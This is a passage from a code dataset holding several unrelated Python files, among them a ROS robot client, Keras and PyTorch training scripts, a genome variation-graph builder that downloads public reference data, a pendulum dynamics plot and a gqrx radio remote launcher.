end_date = self.end_date)\n\n\n def moving_average_df(self, ma):\n\n return pd.DataFrame(self.data['Adj. Close']. rolling(window=ma, center=False).mean().dropna())\n","sub_path":"backtest/Modules/MeanReversion.py","file_name":"MeanReversion.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"626298382","text":"import random\n\nd = []\nfor i in range(10000):\n k = [i for i in range(10)]\n x = []\n\n for i in range(5000):\n x.append(str(random.choice(k)))\n # print(x)\n if x[0] == \"0\":\n x = x[1:]\n x = ''.join(x)\n # print(x)\n\n num = \"0\"\n l = []\n k = 0\n for j in range(10):\n for i in x:\n if i == num:\n k+= 1\n\n # print(k, num)\n l.append((k,num))\n k = 0\n num = str(int(num)+1)\n\n # print(l)\n\n n = 1\n while n < len(l):\n for i in range(len(l)-n):\n if l[i][0] > l[i+1][0]:\n l[i],l[i+1] = l[i+1],l[i]\n n += 1\n\n # l = reversed(l)\n # print(l[-1])\n d.append(l[-1][1])\n\n\nk = 0\nnum = 0\nfor j in range(10):\n for i in x:\n if i == num:\n k+= 1\n\n # print(k, num)\n l.append((k,num))\n k = 0\n num = str(int(num)+1)\n# print(l)\n# print(''.join(d))\nn = 1\nwhile n < len(l):\n for i in range(len(l) - n):\n if l[i][0] > l[i + 1][0]:\n l[i], l[i + 1] = l[i + 1], l[i]\n n += 1\nprint(l)\nprint(l[0])\n","sub_path":"untitled/venv/answerr.py","file_name":"answerr.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"297101902","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport requests\nimport rospy\nimport json\nfrom std_msgs.msg import String\nfrom conferio_msgs.msg import Conferio\nfrom rospy_message_converter import json_message_converter\n\nNODE_NAME = \"client\"\n\nclass Client:\n def __init__(self):\n self.callback_flag = 0\n host = '192.168.20.42' #サーバのIPアドレス\n server_conf_info = 'get_conf_info.php'\n self.url_conf_info = 'http://{}/{}'.format(host,server_conf_info)#目標地点名受け取りURL\n\n server_update_status = 'update_status.php'\n self.status_update_status = 'reception'\n self.url_update_status = 'http://{}/{}?status='.format(host,server_update_status)#到達情報送信URL\n\n server_get_status = 'get_status.php'\n self.url_get_status = 'http://{}/{}'.format(host,server_get_status)#iPadStatus情報信受信RL\n\n def callback(self,msg):\n #msg.status_listの最新ステータスはリスト末尾にある\n #latest_status : 0 待ち\n #latest_status : 3 ゴール\n #latest_status : 1 移動中\n #latest_status = msg.status_list[len(msg.status_list)-1].status\n #if((latest_status==0) or (latest_status==3)):\n # callback_flag = 1\n #if(latest_status==1):\n # callback_flag = 0\n self.status_update_status = msg.data\n self.callback_flag=1\n\n def run(self):\n rospy.init_node(NODE_NAME)\n pub_conf_info=rospy.Publisher(NODE_NAME + '/conf_info', Conferio, queue_size = 10)\n pub_start=rospy.Publisher(NODE_NAME + '/start_flag', String, queue_size = 10)\n r = rospy.Rate(2)\n requests.post(self.url_update_status+self.status_update_status)\n while not rospy.is_shutdown():\n #目標地点名をサーバから受け取る\n while not rospy.is_shutdown():\n conf_info = requests.post(self.url_conf_info).text.replace('\\n','').replace('\\r','')\n conf_info = json.loads(conf_info)\n if (conf_info['b_Num']!=None):\n break\n r.sleep()\n rospy.loginfo(\"no input\")\n\n while not rospy.is_shutdown():\n response = requests.post(self.url_get_status).text.replace('\\n','').replace('\\r','')\n if (response=='navigation'):\n break\n r.sleep()\n rospy.loginfo(\"publish conf_info\")\n conf_info_msg = json_message_converter.convert_json_to_ros_message('conferio_msgs/Conferio', conf_info)\n pub_conf_info.publish(conf_info_msg)\n #到達待ち\n while not rospy.is_shutdown():\n sub = rospy.Subscriber('operator/turtlebot_status', String, self.callback)#'/move_base/status',GoalStatusArray, callback)\n\n while(self.callback_flag == 0):\n rospy.loginfo(\"navigation\")\n r.sleep()\n self.callback_flag = 0\n #到達情報をサーバへ送信\n requests.post(self.url_update_status+self.status_update_status)\n rospy.loginfo(\"arrived {}\".format(self.status_update_status))\n if(self.status_update_status == 'reception'):\n break\n\n #iPadからの入力待ち\n while not rospy.is_shutdown():\n response = requests.post(self.url_get_status).text.replace('\\n','').replace('\\r','')\n if (response=='navigation'):\n break\n r.sleep()\n rospy.loginfo(\"waiting for input from iPad\")\n pub_start.publish('true')\n return\n\nif __name__ == '__main__':\n a = Client()\n a.run()\n\n\n","sub_path":"src/turtlebot_ope_cli_v2/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"353288345","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: fsy81\n@software: PyCharm\n@file: 03_CNN_4.py\n@time: 2021-08-24 21:24\n\"\"\"\n\nimport os\nimport random\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1' # or any {'0', '1', '2'}\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport pandas as pd\n\ntry:\n gpus = tf.config.experimental.list_physical_devices('GPU')\n tf.config.experimental.set_memory_growth(gpus[0], True)\nexcept:\n print(\"GPU error\")\n\n# setup the train and test directories\ntrainDir = \"resource/food101/10_food_classes_all_data/train/\"\ntestDir = \"resource/food101/10_food_classes_all_data/test/\"\nfoodCategory = np.array(sorted(os.listdir(trainDir)))\n\n\ndef PlotImageRandomly(imageDir, category):\n imageDir = imageDir + category + \"/\"\n randomImage = random.sample(os.listdir(imageDir), 1)\n img = mpimg.imread(imageDir + randomImage[0])\n plt.imshow(img)\n plt.title(category)\n plt.tick_params(axis='both', which='both', bottom=False, left=False, labelleft=False, labelbottom=False)\n plt.xlabel(img.shape)\n return img\n\n\ndef main():\n PlotImageRandomly(trainDir, random.choice(foodCategory))\n # plt.show()\n # preprocess\n trainDataGen = ImageDataGenerator(rescale=1 / 255.)\n testDataGen = ImageDataGenerator(rescale=1 / 255.)\n # load data\n trainData = trainDataGen.flow_from_directory(trainDir,\n target_size=(224, 224),\n batch_size=32)\n testData = testDataGen.flow_from_directory(testDir,\n target_size=(224, 224),\n batch_size=32)\n # create a model\n model = tf.keras.Sequential([\n tf.keras.layers.Conv2D(10, 3,\n activation=\"relu\",\n input_shape=(224, 224, 3)),\n tf.keras.layers.Conv2D(10, 3, activation=\"relu\"),\n tf.keras.layers.MaxPool2D(2),\n tf.keras.layers.Conv2D(10, 3, activation=\"relu\"),\n tf.keras.layers.Conv2D(10, 3, activation=\"relu\"),\n tf.keras.layers.MaxPool2D(2),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(10, activation=tf.keras.activations.softmax)\n ])\n model.compile(tf.keras.optimizers.Adam(),\n tf.keras.losses.CategoricalCrossentropy(),\n [tf.keras.metrics.CategoricalAccuracy()])\n model.summary()\n callback = tf.keras.callbacks.EarlyStopping(patience=3)\n model.fit(trainData,\n epochs=5,\n callbacks=callback,\n steps_per_epoch=len(trainData),\n validation_data=testData,\n validation_steps=len(testData))\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"03_CNN_4.py","file_name":"03_CNN_4.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430160640","text":"\"\"\"\n\n@author: Manuel Tognon\n\n@email: manu.tognon@gmail.com\n@email: manuel.tognon@studenti.univr.it\n\nConstruction and indexing of the genome-graphs.\nThe reference used is given by the user as like as the VCF\nused to infer the variants and the alternative paths on\nthe graphs.\n\nWe choose to split the genome graph for the genome in a graph for\neach chromosome, in order to reduce the amount of memory and\ncomputational resources needed.\n\nNB There are NO drawbacks using this approach instead of creating the whole genome graph\n\n\"\"\"\n\n\nfrom grafimo.utils import CHROMS_LIST, die\nfrom grafimo.workflow import BuildVG\nfrom grafimo.GRAFIMOException import VGException, ValueException, SubprocessError\nimport subprocess\nimport time\nimport os\n\n\ndef get_reference_genome_from_ucsc():\n \"\"\"\n Download the reference genome (hg38 assembly), from the UCSC\n database, in the current directory and returns the path to it\n ----\n Parameters:\n None\n ----\n Returns:\n genome (str) : path to the genome downloaded (in .fa format)\n \"\"\"\n\n # download genome\n address = 'ftp://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/hg38.fa.gz'\n cmd = 'wget -c {0}'.format(address)\n code = subprocess.call(cmd, shell=True) # downloaded in the current directory\n\n if code != 0:\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n\n # decompress genome\n print(\"Uncompressing the genome...\")\n\n genome_comp = './hg38.fa.gz'\n\n cmd = 'gunzip {0}'.format(genome_comp)\n code = subprocess.call(cmd, shell=True)\n\n if code != 0:\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n\n # remove FASTA.GZ file if still present\n if os.path.exists(genome_comp):\n cmd = 'rm {0}'.format(genome_comp)\n code = subprocess.call(cmd, shell=True)\n\n if code != 0:\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n\n # get the path to the genome file\n genome_uncomp = \"./hg38.fa\"\n genome = os.path.abspath(genome_uncomp)\n\n return genome\n\n# end of get_reference_genome_from_ucsc()\n\n\ndef get_1000GProject_vcf():\n \"\"\"\n Downloads a VCF file from the 1000 Genome Project database,\n containing SNPs and indels for each subject involved in the\n study and returns the path to it\n ----\n Parameters:\n None\n ----\n Returns:\n vcf (str) : path to the vcf downloaded vcf file (in .vcf.gz)\n \"\"\"\n\n # download the VCF\n address = 'ftp://ftp.1000genomes.ebi.ac.uk/vol1/ftp/data_collections/'\n address += '1000_genomes_project/release/20190312_biallelic_SNV_and_INDEL/'\n address += 'ALL.wgs.shapeit2_integrated_snvindels_v2a.GRCh38.27022019.sites.vcf.gz'\n\n cmd = 'wget -c {0}'.format(address)\n\n code = subprocess.call(cmd, shell=True)\n\n if code != 0:\n errmsg = ''.join([\"\\n\\nERROR: An error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n\n vcf_file = './ALL.wgs.shapeit2_integrated_snvindels_v2a.GRCh38.27022019.sites.vcf.gz'\n vcf = os.path.abspath(vcf_file)\n\n return vcf\n\n# end of get1000GProject_vcf()\n\n\ndef construct_vg(buildvg_args):\n \"\"\"\n Create the genome graph, for the reference and VCF file given\n in input by the user.\n\n The genome is not built as a single whole genome graph but a\n single graph is constructed for each chromosome.\n This choice was made to avoid memory issues and make able\n also the less powerful machines to run GRAFIMO.\n\n There is NO drawback using this approach wrt\n construct the whole genome graph and query it.\n ----\n Parameters:\n chroms (list) : list of chromosomes for whicgh the genome\n graph will be constructed\n linear_genome (str) : path to the linear genome used as\n reference to build the genome\n graphs\n vcf (str) : path to the VCF file used to build the genome\n graphs\n ----\n Return:\n None\n \"\"\"\n\n if not isinstance(buildvg_args, BuildVG):\n raise ValueError(\"Unknown arguments object type. Cannot Build the genome variation graph. Exiting\")\n die(1)\n\n # read the arguments to build the VGs\n chroms = buildvg_args.get_chroms()\n threads = buildvg_args.get_cores()\n outdir = buildvg_args.get_outdir()\n verbose = buildvg_args.get_verbose()\n test = buildvg_args.get_test()\n\n if test:\n reference = get_reference_genome_from_ucsc()\n vcf = get_1000GProject_vcf()\n\n else:\n reference = buildvg_args.get_reference_genome()\n vcf = buildvg_args.get_vcf()\n # end if\n\n if verbose:\n print(\"using reference genome: \", reference)\n print(\"Using VCF file: \", vcf, \"\\n\\n\")\n # end if\n\n cwd = os.getcwd()\n\n # check if the VCF file has already been indexed with tabix\n if not tbiexist(vcf):\n msg = ''.join([\"TBI file not found for \", vcf.split('/')[-1], \". Indexing the VCF file with tabix...\"])\n print(msg)\n cmd = 'tabix -p vcf {0}'.format(vcf)\n code = subprocess.call(cmd, shell=True)\n\n if code != 0:\n # tabix didn't work\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n\n else: # update the indexed VCF\n msg = ''.join([\"Reindexing \", vcf.split('/')[-1], \"...\"])\n print(msg)\n\n # remove the existing TBI file\n cmd = \"rm {0}\".format(''.join([vcf, \".tbi\"]))\n code = subprocess.call(cmd, shell=True)\n\n if code != 0:\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n\n # reindex the VCF\n cmd = \"tabix -p vcf {0}\".format(vcf)\n code = subprocess.call(cmd, shell=True)\n\n if code != 0:\n # tabix didn't work\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError(errmsg)\n die(1)\n # end if\n # end if\n\n # enter the output directory\n os.chdir(outdir)\n\n # build the VG for each chromosome or a user defined\n # subset of them\n for chrom_n in chroms:\n\n chrom = ''.join(['chr', chrom_n]) # to call vg construct we need both the\n # chromosome number and it preceded by 'chr\n\n vg = chrom + '.vg'\n\n # build the VG for the current chromosome\n if verbose:\n start_build = time.time()\n\n code = build_vg(vg, reference, vcf, chrom, chrom_n, threads)\n if code != 0:\n msg = '\\n\\nERROR: an error occurred during {0} construction. '.format(vg)\n msg += 'Unable to build the VG of the genome using {0} and {1}'.format(reference,\n vcf)\n raise VGException(msg)\n die(1)\n # end if\n\n if verbose:\n end_build = time.time()\n msg = \"Elapsed time to build {0} \".format(vg)\n msg = ''.join([msg, str(end_build - start_build), \"s\"])\n print(msg)\n # end if\n\n # to query efficiently the VGs we index them (VG -> XG)\n if verbose:\n start_index = time.time()\n\n msg = ''.join([\"Indexing \", vg, '...'])\n print(msg)\n\n code = indexVG(vg, threads)\n\n if code != 0:\n errmsg = \"\\n\\nERROR: an error occurred during indexing {0}.\\nUnable to index {0}. Exiting\".format(vg)\n raise VGException(errmsg)\n die(1)\n # end if\n\n if verbose:\n end_index = time.time()\n msg = \"Elapsed time to index {0} \".format(vg)\n msg = ''.join([msg, str(end_index - start_index), \"s\"])\n print(msg)\n # end if\n\n # The majority of applications work only with indexed graph,\n # so to save disk space is worth to delete the VGs and keep\n # only the XGs (is simple to get back using VG built-in functions)\n if verbose:\n print(\"Deleting {0}\".format(vg))\n\n cmd = 'rm {0}'.format(vg)\n subprocess.call(cmd, shell=True)\n\n if code != 0: # we have errors in the vg indexing\n errmsg = ''.join([\"\\n\\nERROR: an error occurred while executing \", cmd, \". Exiting\"])\n raise SubprocessError()\n die(1)\n # end if\n # end for\n\n # get the VGs location\n graphs_loc = os.getcwd()\n\n # return to the original working directory\n os.chdir(cwd)\n\n# end of construct_vg()\n\n\ndef build_vg(vg, linear_genome, vcf, chrom_name, chrom_num, threads):\n \"\"\"\n Build the genome graph of the given chromosome\n ----\n Parameters:\n vg (str) : output name of the genome graph\n linear_genome (str) : path to the linear genome location\n vcf (str) : path to the VCF file\n chrom_name (str) : chromosome name as used by UCSC (e.g. chr1)\n chrom_num (int) : chromosome number\n threads (int) : number of threads to use during VG construction\n ----\n Returns:\n done (int) : if an error occurred during the building of\n vg is returned 1, 0 otherwise\n \"\"\"\n\n done = 0\n\n build = 'vg construct -C -R {0} -p -t {6} -n {1}={2} -r {3} -v {4} > {5}'.format(chrom_num, chrom_num,\n chrom_name, linear_genome, vcf,\n vg, threads)\n\n code = subprocess.call(build, shell=True)\n\n if code != 0:\n # an error occurred during the construction of the VG for\n # the current chromosome\n done = 1\n\n return done\n\n# end of build_vg()\n\n\ndef indexVG(vg, threads):\n \"\"\"\n Index the vg genome graph [vg => xg]. This step is required to\n efficiently extract sequences from VG, in defined regions.\n ----\n Parameters:\n vg (str) : path to the VG genome graph\n threads (int) : number of threads to use during VG indexing\n ----\n Returns:\n done (int) : if an error occurred during the indexing of the\n given VG is returned 1, 0 otherwise\n \"\"\"\n\n if not isinstance(vg, str):\n raise ValueError(\"Invalid path to the genome variation graph. Exiting\")\n\n if not os.path.exists(vg):\n errmsg = \"unable to find {0}\".format(vg)\n raise FileExistsError(errmsg)\n\n done = 0\n\n # take chromosome name and add it the XG extension\n xg = vg.split('.')[-2]\n xg += '.xg'\n\n # perform indexing of the current genome variation graph\n vg_index = 'vg index -p -t {2} --progress -x {0} {1}'.format(xg, vg, threads)\n code = subprocess.call(vg_index, shell=True)\n\n if code != 0:\n done = 1\n\n return done\n\n# end of indexVG()\n\n\ndef tbiexist(vcf):\n \"\"\"\n Check if the given VCF file has already been indexed\n using tabix\n ----\n Parameters:\n vcf (str) : path to the VCF file, for which it will\n be searched a TBI file in the\n current directory\n ----\n Returns:\n (bool)\n \"\"\"\n\n vcf_tbi = ''.join([vcf, '.tbi'])\n\n if os.path.isfile(vcf_tbi):\n return True\n\n return False\n\n# end of tbiexist()\n\n","sub_path":"src/grafimo/constructVG.py","file_name":"constructVG.py","file_ext":"py","file_size_in_byte":11942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405257687","text":"flw_colors = [\"yellow\", \"blue\"]\nyellow_flowers = [\"yellow iris\", \"touch me not\", \"trout-lily\"]\n\npossible_flw = []\ncolor_q = input(f'What color is your flower (options {flw_colors})?')\n\nwhile True:\n if color_q == \"yellow\":\n possible_flw.append(yellow_flowers)\n print(f\"You're flower may be a {possible_flw}\")\n break\n\n else:\n print(possible_flw)\n break\n\n\n","sub_path":"attempt_1.py","file_name":"attempt_1.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"211650373","text":"import argparse\nimport importlib\nimport json\nimport os\nimport traceback\nimport time\n\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom dataloader import BimodalMNISTLoader\nfrom model import BimodalMNISTModel\n\n\ndef main():\n # parse arguments\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--batch_size', type=int, default=16, help='Size of the batches for each training step.')\n parser.add_argument('--cuda_device', type=str, default='0', help='CUDA device index to be used in training. This parameter may be set to the environment variable \\'CUDA_VISIBLE_DEVICES\\'. Specify it as -1 to disable GPUs.')\n\n parser.add_argument('--train_path', type=str, default='/tmp/train/', help='Base path of the trained model to be saved.')\n parser.add_argument('--max_steps', type=int, default=50000, help='The maximum number of training steps.')\n parser.add_argument('--log_freq', type=int, default=10, help='The frequency of logging.')\n parser.add_argument('--summary_freq', type=int, default=1000, help='The frequency of logging on TensorBoard.')\n parser.add_argument('--save_freq', type=int, default=10000, help='The frequency of saving the trained model.')\n parser.add_argument('--sleep_ratio', type=float, default=0.05, help='The ratio of sleeping time for each training step, which prevents overheating of GPUs. Specify 0 to disable sleeping.')\n\n parser.add_argument('--restore_path', type=str, help='Checkpoint path to be restored. Specify this to resume the training or use pre-trained parameters.')\n parser.add_argument('--global_step', type=int, default=0, help='Initial global step. Specify this to resume the training.')\n\n args, remaining_args = parser.parse_known_args()\n\n\n # initialize\n os.environ['CUDA_VISIBLE_DEVICES'] = args.cuda_device\n os.makedirs(args.train_path, exist_ok=True)\n\n # data loader\n print('prepare data loader')\n dataloader = BimodalMNISTLoader()\n dataloader_args, remaining_args = dataloader.parse_args(remaining_args)\n dataloader.prepare()\n\n # model\n print('prepare model')\n model = BimodalMNISTModel()\n model_args, remaining_args = model.parse_args(remaining_args)\n model.prepare(is_training=True, global_step=args.global_step)\n\n # check remaining args\n if (len(remaining_args) > 0):\n print('WARNING: found unhandled arguments: %s' % (remaining_args))\n\n # model > restore\n if (args.restore_path is not None):\n model.restore(ckpt_path=args.restore_path)\n print('restored the model')\n\n # model > summary\n summary_path = os.path.join(args.train_path, 'summary')\n summary_writer = SummaryWriter(log_dir=summary_path)\n \n # save arguments\n arguments_path = os.path.join(args.train_path, 'arguments.json')\n all_args = {**vars(args), **vars(dataloader_args), **vars(model_args)}\n with open(arguments_path, 'w') as f:\n f.write(json.dumps(all_args, sort_keys=True, indent=2))\n \n\n # train\n print('begin training')\n local_train_step = 0\n try:\n while (model.global_step < args.max_steps):\n global_train_step = model.global_step + 1\n local_train_step += 1\n\n start_time = time.time()\n\n summary = summary_writer if (local_train_step % args.summary_freq == 0) else None\n\n input_list, truth_list = dataloader.get_batch(batch_size=args.batch_size)\n \n loss = model.train_step(input_list=input_list, truth_list=truth_list, summary=summary)\n\n duration = time.time() - start_time\n if (args.sleep_ratio > 0 and duration > 0):\n time.sleep(min(10.0, duration*args.sleep_ratio))\n\n if (local_train_step % args.log_freq == 0):\n print('step %d, loss %.6f (%.3f sec/batch)' % (global_train_step, loss, duration))\n \n if (local_train_step % args.save_freq == 0):\n model.save(base_path=args.train_path)\n print('saved a model checkpoint at step %d' % (global_train_step))\n \n except KeyboardInterrupt:\n print('interrupted (KeyboardInterrupt)')\n pass\n except Exception as e:\n print(traceback.format_exc())\n \n\n # finalize\n print('finished')\n summary_writer.close()\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"examples/fashion_mnist_pytorch/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"602641091","text":"from numpy import sin, cos, cumsum, dot, zeros\nfrom numpy import array, linspace, deg2rad, ones, concatenate\nfrom sympy import lambdify, atan, atan2, Matrix, simplify, sympify\nfrom sympy.mpmath import norm\nimport double_pendulum_particle_setup as dp\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import plot, xlabel, ylabel, legend, rcParams\nimport matplotlib.animation as animation\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport pickle\n\ndp_eigenvecs = open('dp_eigenvecs.pkl', 'rb')\ndp_eigenvecs_string = pickle.load(dp_eigenvecs)\ndp_eigenvecs.close()\n\ndp_eigenvecs = sympify(dp_eigenvecs_string)\n\nfirst_ratio = dp_eigenvecs[0][2][0]\nsecond_ratio = dp_eigenvecs[1][2][0]\n\nmass_matrix = dp.mass_matrix\nparameter_dict = dp.parameter_dict\n\nmass_matrix = mass_matrix.subs(parameter_dict)\nmass_matrix_inv = mass_matrix.inv()\n\ntorques = Matrix(dp.torques)\n\ntorques_dict = dict(zip([dp.one_torque, dp.two_torque], [-1.0, 1.0]))\ntorques_subbed = dp.torques.subs(torques_dict)\n\ntheta_dict = dict(zip([dp.theta1, dp.theta2], [0.0,0.0]))\nmass_matrix_zero_subbed = mass_matrix.subs(theta_dict)\nmass_matrix_zero_inv_subbed = mass_matrix_zero_subbed.inv()\nmass_matrix_zero = mass_matrix.subs(theta_dict)\nmass_matrix_zero_inv = mass_matrix_zero.inv()\nfirst_ratio_num = first_ratio.subs(parameter_dict)\nsecond_ratio_num = second_ratio.subs(parameter_dict)\nfirst_ratio_acc = mass_matrix_zero_inv*first_ratio_num\nsecond_ratio_acc = mass_matrix_zero_inv*second_ratio_num\n\nvals_0 = []\nvals_1 = []\nfor i in np.arange(1.5, 1.61, 0.001):\n d = dict(zip([dp.one_torque, dp.two_torque], [i, 1.0]))\n a = mass_matrix_zero_inv*(torques.subs(d))\n vals_0.append(a[0])\n vals_1.append(a[1])\nfig = plt.figure()\ne_vals_0 = []\ne_vals_1 = []\ne1_vals_0 = []\ne1_vals_1 = []\n\nfor i in np.arange(-1.57, 1.57, 0.01):\n d = dict(zip([dp.theta1, dp.theta2], [0,i]))\n a = second_ratio_num.subs(d)\n b = first_ratio_num.subs(d)\n c = (mass_matrix_inv.subs(d))*b\n k = (mass_matrix_inv.subs(d))*a\n e_vals_0.append(k[0])\n e_vals_1.append(k[1])\n e1_vals_0.append(c[0])\n e1_vals_1.append(c[1])\nplt.scatter(np.arange(1.5, 1.61, 0.001), vals_0)\nplt.scatter(np.arange(1.5, 1.61, 0.001), vals_1)\nei = second_ratio_acc.subs(theta_dict)\nplt.scatter(second_ratio_num.subs(theta_dict)[0], ei[0], c = 'g')\nplt.scatter(second_ratio_num.subs(theta_dict)[0], ei[1], c = 'r') \n\n#joint_one, = plt.plot(np.arange(-1.57, 1.57, 0.05), e_vals_0, c = 'r')\n#joint_two, = plt.plot(np.arange(-1.57, 1.57, 0.05), e_vals_1, c = 'b')\n\n#xlabel('angle_2')\n#ylabel('acceleration')\n\n#plt.legend([joint_one, joint_two], ['Joint 1', 'Joint 2'])\n\n#plt.scatter(np.arange(-1.57, 1.57, 0.05), e1_vals_0, c = 'y')\n#plt.scatter(np.arange(-1.57, 1.57, 0.05), e1_vals_1, c = 'purple')\n\n\n\nplt.show()\n\n\n#for i in np.arange(-1.57, 1.57, 0.05):\n# mass_matrix.subs(\n","sub_path":"equivalent_acrobot/dp_torque_ratio_plot.py","file_name":"dp_torque_ratio_plot.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238199214","text":"#!/usr/bin/env python\n\n\"\"\"\nRemote application that interacts with gqrx using rigctl protocol.\nGqrx partially implements rigctl since version 2.3.\n\nPlease refer to:\nhttp://gqrx.dk/\nhttp://gqrx.dk/doc/remote-control\nhttp://sourceforge.net/apps/mediawiki/hamlib/index.php?title=Documentation\n\nAuthor: Rafael Marmelo <rafael@defying.me>\nLicense: MIT License\n\nCopyright (c) 2014 Rafael Marmelo\n\"\"\"\n\nimport argparse\nimport logging\nimport os\nimport time\nimport Tkinter as tk\nfrom modules.ui import GqrxRemote\nfrom modules.app_config import AppConfig\n\n\ndef input_arguments():\n \"\"\"Argument parser.\n\n \"\"\"\n\n parser = argparse.ArgumentParser(\n description=\"\"\"Remote application\n that interacts with gqrx using\n rigctl protocol.\n Gqrx partially implements rigctl\n since version 2.3\"\"\",\n epilog=\"\"\"Please refer to:\n http://gqrx.dk/,\n http://gqrx.dk/doc/remote-control,\n http://sourceforge.net/apps/mediawiki/hamlib/index.php?title=Documentation\n\n Author: Rafael Marmelo <rafael@defying.me>\n License: MIT License\n\n Copyright (c) 2014 Rafael Marmelo\"\"\")\n\n parser.add_argument(\"--file\",\n \"-f\",\n type=str,\n required=False,\n dest=\"alternate_config_file\",\n help=\"Overrides the default config file.\")\n\n parser.add_argument(\"--verbose\",\n \"-v\",\n dest=\"verbose\",\n action=\"store_true\",\n help=\"Increase log verbosity.\")\n\n return parser.parse_args()\n\ndef log_configuration(verbose):\n \"\"\"Logger configuration: time/date formatting.\n\n \"\"\"\n\n os.environ[\"TZ\"] = \"UTC\"\n time.tzset()\n if verbose:\n logging.basicConfig(level=logging.INFO,\n format=\"%(asctime)s %(message)s\",\n datefmt=\"%m/%d/%Y %I:%M:%S %p %Z\")\n else:\n logging.basicConfig(level=logging.WARNING,\n format=\"%(asctime)s %(message)s\",\n datefmt=\"%m/%d/%Y %I:%M:%S %p %Z\")\n\n return logging.getLogger(__name__)\n\n# entry point\nif __name__ == \"__main__\":\n\n args = input_arguments()\n logger = log_configuration(args.verbose)\n\n config_file = args.alternate_config_file\n root = tk.Tk()\n ac = AppConfig(config_file)\n app = GqrxRemote(root, ac)\n app.apply_config(ac)\n app.mainloop()\n","sub_path":"gqrx-remote.py","file_name":"gqrx-remote.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"42910949","text":"import folium\nfrom folium.map import Tooltip\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas\n\n\ndef radius_gen(tcases):\n\n return tcases ** 0.21\t\n\n\ndef color_gen(tcases):\n if tcases < 1000:\n return \"blue\"\n elif tcases < 5000:\n return \"green\"\n elif tcases < 25000:\n return \"purple\"\n elif tcases < 50000:\n return \"pink\"\n elif tcases < 100000:\n return \"yellow\"\n elif tcases < 150000:\n return \"orange\"\n else:\n return \"red\"\n\n\nr = requests.get(\"https://www.worldometers.info/coronavirus/\")\nc = r.content\n\nsoup = BeautifulSoup(c, \"html.parser\")\n\ndata = soup.find(\"tbody\")\nrows = data.find_all(\"tr\", {\"style\":\"\"})\n\nd = {}\n\nfor item in rows:\n tcases = item.find_all(\"td\")[2].text\n d[item.find_all(\"td\")[1].text] = int(tcases.replace(\",\", \"\"))\n\n\ncdata = pandas.read_csv(\"folium/countries.csv\")\n\nlat = list(cdata[\"latitude\"])\nlon = list(cdata[\"longitude\"])\ncnt = list(cdata[\"name\"])\n\n\nmap = folium.Map(location = [21.69, 31.09], zoom_start = 3, tiles = \"Stamen Terrain\",)\n\nfg = folium.FeatureGroup(name = \"Countries\")\n\n\nfor lt, ln, ct in zip(lat, lon, cnt):\n\n\n if ct in d.keys():\n\n try:\n fg.add_child(folium.CircleMarker(location = [lt,ln], popup = str(ct) + \"\\n\" + str(d[ct]),\n radius = radius_gen(d[ct]), fill_color = color_gen(d[ct]), color = \"#666666\", fill_opacity = 0.7))\n except:\n pass\n\nmap.add_child(fg)\n\nmap.save(\"CoronaMap.html\")\n","sub_path":"firstApp/templates/firstApp/folium_folder/corona.py","file_name":"corona.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"164344313","text":"#!/usr/bin/env python\n\nip_net = input('Please enter IP network ' )\nip, mask = ip_net.split('/')\nbin_mask = '1'*int(mask)+'0'*(32-int(mask))\nbin_mask_octets = [bin_mask[0:8], bin_mask[8:16], bin_mask[16:24], bin_mask[24:32]]\n \nip1,ip2,ip3,ip4 = 